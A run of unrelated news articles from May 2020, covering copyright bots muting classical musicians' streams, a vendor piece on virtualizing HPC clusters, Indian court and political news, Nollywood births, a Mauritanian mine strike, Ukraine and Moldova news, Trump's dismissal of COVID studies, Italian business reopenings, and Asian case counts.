"They're blocking my use of my own content," Spence said later in a phone interview, "which feels dystopian."

As covid-19 forces more and more classical musicians and organizations to shift operations to the internet, they're having to contend with an entirely different but equally faceless adversary: copyright bots. Or, more accurately, content identification algorithms dispatched across social media to scan content and detect illegal use of copyrighted recordings. You've encountered these bots in the wild if you've ever had a workout video or living room lip-sync blocked or muted for ambient inclusion or flagrant use of Britney or Bruce. But who owns Brahms?

These oft-overzealous algorithms are particularly fine-tuned for the job of sniffing out the sonic idiosyncrasies of pop music, having been trained on massive troves of "reference" audio files submitted by record companies and performing rights societies. But classical musicians are discovering en masse that the perceptivity of automated copyright systems falls critically short when it comes to classical music, which presents unique challenges both in terms of content and context. After all, classical music exists as a vast, endlessly revisited and repeated repertoire of public-domain works distinguishable only through nuanced variations in performance. Put simply, bots aren't great listeners.

After the removal of his clips, Spence's only recourse was to file a dispute with Facebook by filling out a single-field form. This was followed by six hours of fruitless chats with various Facebook representatives. It took nearly four days to clear the spurious claim, and in the interim, Facebook suspended Camerata's access to live-streaming.

Clearing copyright claims has since become part of Spence's new routine, casting emails into an opaque dispute system he describes as "the DMV on steroids."

And the hits keep coming: YouTube blocked a recent live stream of a recorded Camerata performance of Carl Nielsen's Wind Quintet, Op. 43, after it attracted a swarm of five automated copyright claims from different record companies. It's gotten to the point where Camerata videos are prefaced by a warning screen, explaining their anticipated disappearance in advance.

"I have no protection for my own produced material," Spence says. "If you want to put a copyright claim against me, I'm happy to take the time to write back to you and say, 'This is an erroneous claim and here's why.' But when you're immediately blocking videos or streams, that's negatively impacting our very mission in a time where this now has become mission critical."

These systems aren't just disrupting the relationships between classical organizations and their audiences; they're also affecting individual musicians trying to stay musically present - and financially afloat - during the crisis.

Michael Sheppard, a Baltimore-based pianist, composer and teacher, was recently giving a Facebook Live performance of a Beethoven sonata (No. 3, Op. 2, in C) when Facebook blocked the stream, citing the detection of "2:28 of music owned by Naxos of America" - specifically a passage recorded by the French pianist Jean-Efflam Bavouzet, whom Sheppard is not.

The takedown led Sheppard into what he describes as "a byzantine web of ridiculousness" starting with Facebook's dispute form: "Beethoven died in 1827," he responded. "This music is very much in the public domain. Please unblock it."

And this wasn't Sheppard's first run-in with Facebook, which has blocked or muted past performances of Faure, Chopin and Bach for being too digitally reminiscent of other performances of Faure, Chopin and Bach. Frustrated with the intrusive claim of infringement, the imposed busywork of defending himself, and the helplessness he felt trying to get these issues recognized and resolved, Sheppard took to Twitter.

"Dear @naxosrecords," he tweeted May 9, "PLEASE stop muting portions of works whose composers have been dead for hundreds of years. It does 0% of people any good, especially musicians like myself who are trying to make a living in time of crisis. #UnmuteBeethoven."

Two days later, Naxos tweeted back, thanking Sheppard for his request and confirming that his video had been "whitelisted."

"There are people worse off than me whose only income is their performances," says Sheppard, who accompanies his streams with a "virtual tip jar." "But if it's muted, what's the point? Other people are doing the same thing and getting stymied by this."

The covid-19 crisis has certainly driven more classical musicians online to experiment with streaming, but the struggle between bots and Bach isn't new. The pianist James Rhodes went viral after Sony claimed ownership of the living room performance of Bach's First Partita that he posted to Facebook in 2018. The same year, musician and blogger Sebastian Tomczak received multiple copyright claims against a 10-hour stretch of white noise he uploaded to YouTube three years prior.

And in January 2019, students of conductor Jonathan Girard at the University of British Columbia presented a live-streamed program of orchestral works by Beethoven and Tchaikovsky that Facebook cut off and blocked midstream.

"This is a real, viable way of reaching audiences and communicating art to the world," Girard says. "And it's going to be blocked by copyright algorithms that don't actually fairly look at what's happening. That's a serious problem for musicians that are playing music that's in the public domain."

It might be tempting to glance at the copyright claims and simply blame the names listed at the bottom - the seemingly aggressive record companies issuing them all. But many of those companies are as helpless against the system as the targets of their claims.

Take Naxos, the classical mother ship that represents about 2.5 million tracks and, according to senior manager of video and new media Duncan Hammons, considers copyright protection "among our chief duties per our relationship with our distributed label clients."

"We're at the mercy of automation in order to uphold our obligations to our clients," Hammons says in an email. Like other record companies, Naxos relies on Facebook's and YouTube's content identification systems to track potential illegal use.

"Though the technology works most of the time in terms of correctly identifying instances of our clients' content on-platform, it still generates a not-insignificant amount of mismatches that require human review to differentiate," Hammons says. "The chances of conflicts with this amount of content are considerable. For these reasons there is always a volume of potentially erroneous auto-generated claims that unless contested, I may never be made explicitly aware."

Hammons says that most claims contested by Facebook and YouTube users are cleared within a week of dispute, and that arrangements can be made for channel owners who are able to prove "the legitimacy of their status as a performing arts entity, (or) that their channel constitutes a low risk for abuse of the privilege."

"We would love to work with these platforms to improve their technologies so that they are better adapted for classical music," Hammons says, "but as the situation stands, our input on the issue is limited."

For its part, YouTube has invested more than $100 million to refine its proprietary Content ID technology, according to a company representative. And its apparatus for handling disputes - which, according to several musicians, is more robust than Facebook's -has managed to resolve nearly all copyright issues before they escalate to legal matters. YouTube doesn't actively mediate content disputes, but it does passively enable them.

And this week, Facebook posted updates to its music and video policies, including clarified guidelines concerning the use of music in video. It highlighted its free Sound Collection library of thousands of unrestricted tracks, and announced pending improvements to the notification system "to give people time to adjust their streams and avoid interruptions if we detect they may be approaching our limitations."

But the finer points of those limitations remain mysterious. Facebook scans uploaded content through two systems: its own platform-tailored Rights Manager, which, according to Facebook, can be used to protect only copyrighted works, and a third-party platform called Audible Magic, which helps automatically block audiovisual uploads that match content in its database. Audible Magic advertises services that allow such social media platforms as Twitch, SoundCloud and Vimeo to "identify content in real-time with unparalleled accuracy" and "operate in 'fire-and-forget' mode using a simple end to end solution."

Despite the robustness of such databases, classical performances remain sitting ducks for erroneous challenges. And in general, the "solutions" to these growing problems seem more tailored to rights holders than to, say, pianists. Lowly disputers are left to fight their own battles, whether they started them or not.

"There is no good solution right now," says Meredith Rose of the Washington, D.C.-based intellectual property advocacy group Public Knowledge. "Maybe in another couple of years they'll get the technology to the point where it can actually distinguish between two recordings of Beethoven's Fifth or whatever. But they're not there yet."

Likewise, the faith that platforms and record companies invest in these technologies may be as flawed as the systems themselves.

"We built these systems around the presumption that everybody is either: A, a pirate, or B, should be a copyright expert," Rose says.

As it stands, the relationship between classical musicians and copyright bots is a study in contradictions, as newborn technologies police music that has been with us for centuries and individual musicians battle back against the indifference of massive corporations.

But this unhealthy dynamic also presents a consequential conundrum in terms of how the arts engage with social media as they grow more and more dependent on each other.

"These (classical) organizations have been cultivating large audiences through these social media sites," notes Girard, the conductor, "and now they effectively can't access those audiences with their most prized content.

"Considering everything that's going on, it just seems like just yet another thing that's marginalizing artists' ability to communicate with the world."
In todays enterprise IT shops, everybody understands the benefits of server virtualization. When you virtualize servers, you can turn a single physical host into multiple virtual systems, each with its own operating system and applications. You can then greatly increase the utilization of the physical systems while accelerating the provisioning of resources, increasing IT responsiveness and simplifying data protection.

Everybody gets it, and everybody is doing it  and not just for servers, but also for storage and network resources. But  wait  youre different, and what about high performance computing systems? Despite the wide acceptance and wellunderstood value proposition for virtualization of rank-and-file data center resources, many organizations have yet to virtualize their HPC clusters.

Why so? For starters, there is a common perception that virtualization comes with a performance penalty stemming from the addition of a layer of software between the operating system and the hardware. Although this may have been true years ago, the reality is different today. Advances in hypervisors and hardware virtualization support in x86 systems have yielded big increases in performance for virtualized HPC workloads. With these advances, your IT team can now gain the benefits of virtualization for HPC workloads while delivering performance that is comparable to bare metal for many workloads.

Another perception in IT shops is that percore licensing costs make virtualization prohibitively

expensive for HPC clusters. Today, VMware addresses this concern with VMware vSphere Scale-Out Edition, a virtualization SKU designed for big data and HPC workloads. This software suite delivers all of the core vSphere features required for big data and HPC workloads with costeffective license packs for eight CPUs.

And finally, there is also a perception that if you virtualize an HPC environment, admins wont be able to access all of the features they need. Here again, with vSphere Scale-Out, the reality is quite different from the perception. The vSphere ScaleOut package offers many of the popular features used in other VMware environments, along with the support of a broad ecosystem of technology partners who provide valueadded services.

Compelling benefits

OK, now that weve addressed the perception-vs.-reality issues, lets talk about some of the specific benefits that come with the virtualization of HPC systems. For starters, virtualization adds a flexibility, operational efficiency, agility and security at levels that cannot be achieved in baremetal HPC environments.

For example, system expansion and contraction are simplified when provisioning is done with virtual machines. Cloning a VM as a new member of a cluster takes minutes. Virtualization with vSphere Scale-Out also gives you the ability to move workloads with VMware vSphere vMotion for maintenance or proactive fault avoidance.

Even better, virtualization can help you centralize baremetal islands created by individual departments running HPC workloads. This centralization positions your team to drive up resource utilization and to give more users access to HPC resources. And by using familiar virtualization management tools, your IT shop can assign exactly the compute and storage power that is needed by any one team  without dedicating significant hardware to that one purpose.

Bringing it all together

When youre ready to roll out virtualized HPC resources, Dell Technologies and VMware can help you bring together everything you need. We make it easy with enterprise-grade Dell EMC Ready Solutions for HPC with VMware.

These solutions deliver a new level of flexibility and agility to HPC. Rapid provisioning of infrastructure ondemand enables speedy iteration and scaleout  so you can spend more time helping people gain insights from HPC and less time on setup and retooling. The solutions also simply daytwo operations, such as ongoing provisioning and infrastructure maintenance, and help your team avoid planned downtime through live migration features.

Ready Solutions for HPC with VMware also address data governance and security concerns. Security isolation prevents VMs from seeing each others data in the same cluster. Each VM can access only the virtual disk files designated for it. This adds up to increased VM and host security for data.

To learn more

For a deeper dive into the virtualization of HPC resources, see the VMware reference architecture Virtualizing High-Performance Computing Environments. And to explore Dell EMC Ready Solutions for HPC, visit Solutions for High Performance Computing and AI. And be sure to join us on 6/2 at crowdchat.net/makeaireal to find out what Dell Technologies and VMware have in store for HPC and AI.
The Andhra Pradesh high court on Friday revoked the suspension of senior Indian Police Service (IPS) officer and former state intelligence chief A B Venkateshwar Rao and directed the state government to take him back into service.

The high court delivered the judgement on a petition filed by the 1989-batch IPS officer of Director General of Police rank challenging his suspension by the Y S Jagan Mohan Reddy government on February 8 this year.

The high court, which heard the arguments from the petitioner and the state advocate general, also set aside the order of the Central Administrative Tribunal (CAT) which upheld the suspension of Rao. It ruled that the IPS officer be paid full salary for the period of suspension.

Rao was suspended for his alleged irregularities in procurement of security equipment from an Israeli company during the previous Telugu Desam Party regime. The government, which entrusted the case to Anti-Corruption Bureau, alleged that Rao had colluded with an Israeli defence equipment manufacturing firm RT Inflatables Pvt Ltd to illegally award critical intelligence and surveillance contract to his son Chetan Sai Krishna, who is the CEO of Akasam Advanced Systems Pvt Ltd.

The government also alleged that Rao had willfully disclosed intelligence protocols and procedures of police to the foreign defence manufacturing firm, which was a direct threat to national security as intelligence protocols are standard throughout the Indian Police Force.

Rao challenged his suspension by filing a petition in the Central Administrative Tribunal on February 13. He contended that the suspension was politically motivated and was done based on frivolous grounds. However, the CAT on March 17 upheld his suspension.

On March 7, the Union Ministry of Home Affairs also approved the suspension of Venkateshwara Rao. And it was expended for a further period of three months on April 7.

Rao, who was intelligence chief during the Chandrababu Naidu regime, was shifted from the post by the Election Commission of India following complaints from YSR Congress party leaders during the general elections in April 2019. He was later posted as DGP of the Anti-Corruption Bureau.

However, after Jagan came to power in May 2019, Rao was attached to the headquarters without being given any posting.

Meanwhile, hearing another petition, the high court found fault with the state government for going ahead with painting the buildings of gram panchayats with colours representing the ruling YSR Congress party, despite earlier orders given by both the high court and the Supreme Court.

The high court also dismissed the state government order (GO Ms No. 623), adding terracotta colour to the YSRC party colours on the gram panchayat buildings, instead of removing them altogether.

The high court sought to know why a contempt of court should not be filed against the government for defying its earlier orders. It sought an explanation from the state chief secretary and panchayat raj secretary by May 28 and asked the high court registrar to start the procedure for contempt of court.
Congratulations are in order for the new mummies and daddies in the Nigerian movie industry popularly known as Nollywood!

Despite the COVID-19 pandemic rocking the world, smiles have been brought to our faces with the cheering news of newborn babies being birthed amid the lockdown.

Some of your favourite celebrities have welcomed new babies in 2020 and below are four of them.



1. Mercy Johnson

Nollywood star actress, Mercy Johnson and husband, Prince Okojie, on the 4th of May, 2020, welcomed their fourth child, a daughter, at the University of Maryland St. Joseph Medical Center, in the United States. The couple who are already proud parents to a son and two daughters got married at an elaborate wedding in 2011, in Lagos. Prince Okojie broke the news of their newest addition on Instagram whole revealing her name as, Divine Mercy Ehinomen Okojie.

2. Halima Abubakar

Multiple award-winning Nollywood actress, Halima Abubakar on the 3rd of April 2020, announced the arrival of her newborn when she took to her Instagram page to announce that she has welcomed her bundle of joy. She wrote: A gift from God And I will cherish you for life..Biggest miracleA Boy3/4/20

3. Yewande Adekoya

Famous Nollywood actress, Yewande Adekoya, aka Kudi Klepto, and her husband who is also in the Nollywood industry, an actor cum movie producer, Abiodun Thomas, on April 17, 2020, welcomed their second daughter. The excited new mum took to the gram to share the good news with her fans, friends and family.

***

Compiled by PM News
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(Kitco News) - A strike by unionized workers at Kinross Gold Corp.s (TSX: K; NYSE: KGC) Tasiast mine has been suspended at the request of the government of Mauritania, the company announced Friday.

The company said the shutdown, which began on May 5, is not expected to materially affect 2020 production. The company also said it remains open to discussions with the staff delegates.

The mine, which is located in the West African nation of Mauritania, produced 391,097 gold-equivalent ounces in 2019, well up from 250,965 the year before. Officials have said the mine continued to benefit from a phase-one expansion and a strong performance by the mill.

Kinross is a Canadian-based senior gold mining company with mines and projects in the U.S., Brazil, Chile, Ghana, Mauritania and Russia.
Read about Donbas conflict, coronavirus, Poroshenko-Biden recordings, Vyshyvanka Day in Ukraine and other news of this week on one page

About Donbas conflict

President of Ukraine Volodymyr Zelensky has awarded Colonel Serhiy Hubanov the title of Hero of Ukraine (posthumously). This is mentioned on the website of the President's Office. Hubanov was the veteran of Donbas conflict; when the hostilities began in spring 2014, he served with the Ukrainian police in Luhansk region.

The militants demand that the citizens of Ukraine who live in occupied Donbas and who got the passports after April 2014 get legalized. This is stated in the decree by Denis Pushilin, the head of the self-styled Donetsk Peoples Republic.

An attack occurred in Donbas combat area, with Russian mercenaries having attacked a cargo vehicle of the Ukrainian military. The tragedy occurred on May 21.

A 21-year-old man, the participant in Donbas conflict, has been kidnapped in front of his family. After putting him to tortures, the culprits brought the man exactly where they took him. At that, they took all of his money and the jewelry.According to the police in Donetsk region, the incident occurred in the town of Pokrovsk on May 15.

About coronavirus

As of May 22, there are 20,148 Covid-19 cases in Ukraine. 2,522 of the cases are observed in Kyiv.

Ukraines government extended the lockdown until June 22; however, some mitigations are suggested. Particularly, the Ukrainians will be able to visit swimming pools from June 1 and restaurants on the premises from June 10. Besides, Ukraine is opening all international checkpoints, except ones with the Russian Federation and Belarus.

As of now, only 13 regions of Ukraine are ready to mitigate the quarantine measures.

Meanwhile, EU urges to prepare for the second wave of the coronavirus. Besides, EU representative in Ukraine Matti Maasikas and ambassadors of five EU member countries sent a batch of protective medical equipment to Ukraine. The USAID also decided to allocate extra $1 million to Ukraine for expenses tied with Covid-19 pandemic.

About Poroshenko-Biden recordings

On May 19, the records of phone calls of 5th President of Ukraine Petro Poroshenko, Former Secretary of State John Kerry and Joe Biden with conversations regarding Prosecutor General Shokins dismissal were leaked. Poroshenko also bragged before Biden about increasing tariffs for Ukrainians higher than IMF asked.

The representative of the Biden campaign headquarters, Andrew Bates said the recordings of phone calls "were heavily edited, and its still a nothingburger that landed with a thud."

Later, current Ukrainian President Zelensky commented on the situation, saying that the verdict for Poroshenko is ahead.

Whereas, U.S Senate committee issues subpoena in Hunter Biden's case.

About IMF

On May 21, the team of the IMF workers reached the preliminary decision with Ukraine's government on the new 18-months-long stand-by funding programme.

Cabinet of Ministers of Ukraine expects to receive the first tranche from the IMF in the amount of 1.9 billion dollars by the end of May. MP Oleksiy Honcharenko posted this on Telegram.

About Vyshyvanka Day

On May 21, Ukraine celebrated Vyshyvanka Day. It was created not so long ago in order to preserve and popularize folk traditions of creating and wearing embroidered Ukrainian clothes.

Google even presented its new Doodle in the honor of this holiday: the picture showed a girl in an embroidered shirt.

Meanwhile, the Office of Ukraines President Volodymyr Zelensky sent symbolical presents to the presidents of the United States of America, Germany, France, Canada, Poland, Turkey, the Baltic states and other countries.

About Zelensky press conference

On May 20, President Zelensky gave a press conference on yearly results of his presidency. You can read the key points of his speech here.

About Crimea and Crimean Tatars

On May 18, the Commemoration Day of victims of Crimean Tatar people genocide took place. besides, Kyiv honored the memory of the victims of this tragedy. This day, Ukraines President Volodymyr Zelensky met with representatives of Crimean Tatars and he also stated that Crimea will return to Ukraine one day.

Meanwhile, Russia continues taking reprisals against the Crimean people. Ukraines Foreign Ministry also underlined that the human rights violation rate grows in annexed Crimea.
A Trump enemy statement, he said of one study.

A political hit job, he said of another.

As President Donald Trump pushes to reopen the country despite warnings from doctors about the consequences of moving too quickly during the coronavirus crisis, he has been lashing out at scientists whose conclusions he doesnt like.

Twice this week, Trump has not only dismissed the findings of studies but suggested  without evidence  that their authors were motivated by politics and out to undermine his efforts to roll back coronavirus restrictions.

First it was a study funded in part by his own governments National Institutes of Health that raised alarms about the use of hydroxychloroquine, finding higher overall mortality in coronavirus patients who took the drug while in Veterans Administration hospitals.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

Trump and many of his allies had been trumpeting the drug as a miracle cure and Trump this week revealed that he has been taking it to try to ward off the virus  despite an FDA warning last month that it should only be used in hospital settings or clinical trials because of the risk of serious side effects, including life-threatening heart problems.

If you look at the one survey, the only bad survey, they were giving it to people that were in very bad shape. They were very old, almost dead, Trump told reporters Tuesday. It was a Trump enemy statement.

He offered similar pushback Thursday to a new study from Columbia Universitys Mailman School of Public Health. It found that more than 61 percent of COVID-19 infections and 55 percent of reported deaths  nearly 36,000 people  could have been been prevented had social distancing measures been put in place one week sooner.

Trump has repeatedly defended his administrations handling of the virus in the face of persistent criticism that he acted too slowly.

"Columbias an institution thats very liberal, Trump told reporters Thursday. I think its just a political hit job, you want to know the truth.

Trump has long been skeptical of mainstream science  dismissing human-made climate change as a hoax, suggesting that noise from wind turbines causes cancer and claiming that exercise can deplete a bodys finite amount of energy. Its part of a larger skepticism of expertise and backlash against elites that has become increasingly popular among Trumps conservative base.

But undermining Americans trust in the integrity and objectivity of scientists is especially dangerous during a pandemic when the public is relying on its leaders to develop policies based on the best available information, said Larry Gostin, a Georgetown University law professor who is an expert in public health.

If the president is politicising science, if hes discounting health experts, then the public is going to be fearful and confused, Gostin said, calling it dismaying.

The White House rejected that thinking, noting that Trump has followed his administrations public health officials recommendations through much of the crisis.

Any suggestion that the president does not value scientific data or the important work of scientists is patently false as evidenced by the many data-driven decision he has made to address the COVID-19 pandemic, including cutting off travel early from highly-infected populations, expediting vaccine development, issuing the 15-day and later 30-day guidance to slow the spread, and providing governors with a clear, safe road map to opening up America again, said White House spokesman Judd Deere.

Yet Trump has made clear that, at least when it comes to hydroxychloroquine, he has prioritised anecdotal evidence, including a letter he told reporters he received from a doctor in Westchester, New York, claiming success with the drug.

Asked this week what evidence he had that the drug was effective in preventing COVID-19, Trump responded: Are you ready? Heres my evidence: I get a lot of positive calls about it.

That veterans study, funded by grants from the NIH and the University of Virginia, was not a rigorous experiment, but a retrospective analysis by researchers at several universities looking at the impact of hydroxychloroquine in patients at veterans hospitals across the nation. It found no benefit and more deaths among those given hydroxychloroquine versus standard care alone. The work was posted online for researchers and has not been reviewed by other scientists.

The Columbia study, in draft form, also hasnt yet been published or reviewed by other experts. The researchers ran numbers through a mathematical model, making assumptions about how quickly the coronavirus spreads and how people behave in hypothetical circumstances.

Trumps criticism of the studies also comes as his allies have been eager to counter messaging from public health experts who say Trump is putting lives at risk by pushing states to quickly reopen in an election year.

Republican political operatives have been recruiting pro-Trump doctors to go on television to advocate for reviving the US economy as quickly as possible, without waiting to meet federal safety benchmarks.

Gostin said Trump should leave it to his public health agencies to assess emerging data and the value of various studies.

I think there are real dangers, he said, for the president to play scientist and doctor on TV.

Follow our full coverage of the coronavirus pandemic here
The reopening of Italy's restaurants, cafes and stores earlier this week brought hopes of a return to normality for many Italians after a punishing two-month coronavirus lockdown.

But the picture is not so bright.

In a sign of further trouble ahead for Italy's economy, many of these establishments remain shut as insufficient funds, new sanitary rules or a lack of clientele represent serious brakes to reopening.

"Were I to open tomorrow, I wouldn't have one client," said Pietro Lepore, owner of Harry's Bar on Rome's tony Via Veneto.

"There are 12 luxury hotels on the street. Sixty percent of my business comes from their clientele and they're all closed," Lepore, whose 24 employees are all furloughed, told AFP.

It is the same from Rome to Florence and Venice, where the spokeswoman for the city's shopkeepers' association, Cristina Giussani, mused whether cafes and restaurants should open "for seagulls and pigeons" given the utter lack of tourists.

Italy's economy is highly dependent on tourism. The sector makes up 13 percent of the country's output while employing about 4.2 million Italians, or 15 percent of jobs in Italy.

Some are counting on the reopening of Italy's borders to Europeans in early June as a crucial turning point. But many wonder whether tourists will feel comfortable enough to travel, or whether they'll have the money to do so.

Italy's small and medium-sized business association, Confesercenti, found in a survey published on Saturday that nearly a third of the million establishments allowed to reopen on Monday said they would not.

- 'Insurmountable problem' -

For 68 percent, reopening would not be profitable. Thirteen percent said they had health and safety concerns and an equal number said government directives were too vague.

Men wearing face masks as they walk past a closed restaurant on Via Veneto in central Rome. Many restaurants, cafes and shops remain shut, as insufficient funds, new security rules, or a lack of clientele represent serious roadblocks to reopening. /  AFP

"For businesses, reopening is a race against time and obstacles," wrote the group, which called for "direct economic aid."

"Entrepreneurs fear the impact of the rigidity of the guidelines on activities, and remaining squeezed between the increase in operating costs and the foreseeable drop in revenues," Confesercenti said.

New regulations - which can result fines if not followed - are particularly hard to respect for smaller establishments, Confesercenti's Valerio Maccari said.

"The typical Roman trattoria, for example, does not have much room and in this case ensuring physical distance becomes an insurmountable problem," he said.

The rules include sanitary measures such as setting up tables with 1 metre (3.3 feet) of distance between them and twice-daily cleaning of the establishment, as well as masks and gloves for workers.

But restaurants also have to contend with more paperwork, such as taking down names and phone numbers of customers for easier tracking in the case of an eventual coronavirus case.

In Rome, restaurant owner Tatjana Pavelic said earlier this week she was opening just one of the four restaurants she operates along a usually busy street leading to the Pantheon.

Tourists were nowhere to be seen, but her lunch traffic from local clients was also disrupted because of people still working from home, she said.

- Bankrupt tomorrow? -

"We have so many clients who work in offices," said Pavelic. "And tourism hasn't started even for Italians."

Pavelic said she had asked for a reduction on her rents, which are based on the amount of foot traffic, but was still awaiting an answer.

Public anger is mounting.

Throughout the capital, protest posters are seen in many shop windows: "Without government help, we can NOT reopen".

In Milan on Saturday, small shop owners and taxi drivers held a protest, saying the government had offered no concrete measures to help them. Many are calling for a hiatus in taxes to help them get through the difficult period.

"I'm not opening today to go bankrupt tomorrow," read some of their banners.

"All of us here want to work," shouted one protestor into a megaphone. "But we need support to do so."

A survey by the Italian Federation of Public Establishments (Fipe) on April 4 found that 96 percent of bars, restaurants and similar businesses considered governmental support insufficient.

They cited the need for immediate liquidity to cover the shortfalls in revenue, or credit with zero or subsidized interest, as well as the cancellation of taxes due.

At the other end of the Italian boot, in Avola, Sicily, restaurant owner Gianpaolo Molisena has decided to remain closed for now, one of the approximately 5,000 such establishments keeping their doors shut in Sicily, a quarter of the total.

Were he to reopen, it would cost Molisena "100 (euros) to collect 30," he said. The restaurant usually employs six people.

A man walks past a deserted terrace on the Via Veneto in Rome. Even though Italy has eased its coronavirus lockdown, many restaurants, cafes and stores remain shut because of insufficient funds, new security rules or a lack of clientele. /  AFP

"Besides, the spirit of the restaurant is not there, the charm of dining with friends ... is lost with all these rules," he said.

"The customers feel under surveillance."
In December 2000, the UNGA adopted 22 May as International Day for Biological Diversity to commemorate the adoption of the text of the Convention on 22 May 1992.

International Day for Biological Diversity is observed on 22 May to create as well as enhance understanding and awareness of biodiversity issues. According to Convention on Biological Diversity, World Biodiversity Day was started at the United Nations General Assembly (UNGA) in 1993.

In December 2000, the UNGA adopted 22 May as International Day for Biological Diversity to commemorate the adoption of the text of the Convention on 22 May, 1992.

Theme of Biological Diversity Day 2020

The theme for the International Day for Biodiversity 2020 is our solutions are in nature.

The UN recognises that despite all technological advancements, humanity is completely dependent on a healthy and vibrant ecosystem for water, food, medicines and other essentials. The theme stresses on hope, solidarity and the importance of working together at all levels to build a future that is in harmony with nature.

What is biodiversity?

Biodiversity is the variety in living organisms that exist on Earth. These include at least 8 million species and the various ecosystems that intermingle and live together.

The term biological diversity was first used by Walter Rosen of the National Research Council in 1985 and denoted the variety of life and all its interactions. Since life forms are highly interconnected, if one goes extinct, it can have a devastating effect on others.

With only 2.4 percent of Earths land area, India accounts for 7 to 8 percent of the recorded species in the world. These include more than 45,000 species of plants and 91,000 species of fauna.

The Ministry of Environment, Forest and Climate Change, Government of India tweeted that the International Day for Biological Diversity is celebrated to spread awareness and increase understanding related to #Biodiversity and its conservation.

#InternationalDayforBiologicalDiversity is celebrated every year on 22nd May to spread awareness and increase understanding related to #Biodiversity and its conservation.#Nature#InternationalDayforBiologicalDiversity2020 pic.twitter.com/SYinLFAPrM  MoEF&CC (@moefcc) May 22, 2020

The Minister of Environment, Forest and Climate Change Prakash Javadekar also shared a message on the occasion:

Meanwhile, Javadekar on Friday had a virtual discussion with chief ministers, cabinet ministers and state government officers of Kerala, Karnataka, Goa, Maharashtra, Gujarat and Tamil Nadu through video conference to discuss issues relating to notification of Ecologically Sensitive Area (ESA) pertaining to Western Ghats.
(@ChaudhryMAli88)

Moldova may delay its November 1 presidential election if another wave of COVID-19 hits the country in the second half of the year, incumbent head of state Igor Dodon said on Friday

CHISINAU (UrduPoint News / Sputnik - 22nd May, 2020) Moldova may delay its November 1 presidential election if another wave of COVID-19 hits the country in the second half of the year, incumbent head of state Igor Dodon said on Friday.

"All countries are preparing for the second wave of the pandemic this autumn, the second wave will definitely hit in fall or winter. If the parliament declares an emergency, according to the constitution, all elections will be either canceled or postponed. If there are many coronavirus cases this fall, the elections will have to be postponed, but I hope that elections will be held in the fall," Dodon said in a video address via his Facebook account.

The president also recommended that the country's health care system and the people be well prepared for a second wave of the pandemic.

Moldova has so far confirmed 6,704 COVID-19 cases, 3,089 recoveries and 233 deaths. In response to the pandemic, the authorities declared a 60-day state of emergency in mid-March, which expired earlier in May. Nevertheless, the government has now imposed a health emergency regime for 30 days, keeping a ban on mass gatherings and school classes in place. Citizens are also required to wear face masks in public places.
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India saw a record 6,000 new coronavirus cases today as it piles up infections at the fastest rate in Asia, while the death toll is mounting in Indonesia and fears of a second wave are growing in Iran.

The 6,088 new cases in India have sent the total soaring to 66,330 in a country of 1.3billion where the lockdown has been partially eased and where some hospital wards are at full capacity.

India made up nearly a quarter of Asia's new infections yesterday, with the continent as a whole accounting for 23 per cent of the world's daily tally - up from a figure as low as eight per cent in March and April.

Turkey has seen 152,587 cases, the most in Asia, and suffered 4,222 deaths, although new infections have slowed and the government says it has the outbreak under control.

China and Iran - the birthplace of the pandemic and an early hotspot respectively - are both facing fears of a second wave, and there are doubts about the accuracy of both regimes' figures.

Meanwhile in south-east Asia, Indonesia has already seen 1,242 deaths after confirming only 19,189 cases so far amid a shortage of testing capacity.

This graph shows the daily number of coronavirus cases in six of the worst-affected countries in Asia. China was the early leader after the outbreak began in Wuhan late last year, but India is now becoming Asia's epicentre

India is also recording the highest number of daily deaths, while the death toll is also mounting in Indonesia. Iran's crisis has declined from its peak but there are fears of a second wave of the disease

After the outbreak began in China, Asia accounted for the vast majority of new cases in January and still made up more than 90 per cent of new infections throughout most of February.

That figure plummeted in early March when the virus began to ravage Europe, which first recorded more new cases than Asia on March 6.

As virus cases then started to pile up in the United States, Asia's share of new cases fell as low as 7.5 per cent on March 24 and 7.8 per cent on April 4.

However, it has since increased again - passing 20 per cent on May 11 and only once falling below that threshold since then.

Asia has now overtaken Europe again, although North America is still seeing more cases while South America is now the continent with the fastest growth in infections.

The fastest growth is occurring in India, where the health ministry today reported more than 6,000 new cases in a day for the first time. Only the United States, Brazil and Russia recorded more new cases than India yesterday.

An epidemiologist at the Public Health Foundation of India acknowledged that 'this surge in cases has happened after movement of people has been partially allowed' following a nationwide lockdown.

'But if you see overall, this is a much lower exponential trajectory as compared to the rest of the world,' said Giridhar Babu.

Indian PM Narendra Modi ordered the world's largest lockdown in late March, which has been extended until May 31 but relaxed in some areas.

Airlines will be allowed to resume flights with about a third of operations as of Monday, but only on domestic routes and under strict rules.

India's contagion hotspots include the capital New Delhi, financial hub Mumbai, Modi's home state of Gujarat, and the southern state of Tamil Nadu. The country has seen 3,583 deaths.

'Our Covid wards have been full for the past week, and we are expanding capacity to enable us to admit more patients,' said Dr Lancelot Pinto at the P. D. Hinduja Hospital in Mumbai.

INDIA: Health personnel wearing white and blue protective gear carry the coffin of an 80-year-old woman from a mortuary to an ambulance in Srinagar, after she died following a coronavirus infection

INDONESIA: A motorcyclist gestures as he is questioned by an Indonesian official at a checkpoint in Jakarta today, as the government urges people not to travel unnecessarily to mark the end of Ramadan

In the Middle East, Iran has seen 126,949 cases and revealed yesterday that around 10,000 health workers are among those infected, admitting that 'some of them have died'.

Iran was blamed for exporting the virus around the region in the early weeks of the pandemic, with many cases linked to the Shi'a pilgrimage site of Qom which was initially not shut down.

The Iranian regime now fears a second wave of the disease, urging people not to travel at the end of Ramadan because 90 per cent of the population in some areas has not yet been exposed to the virus.

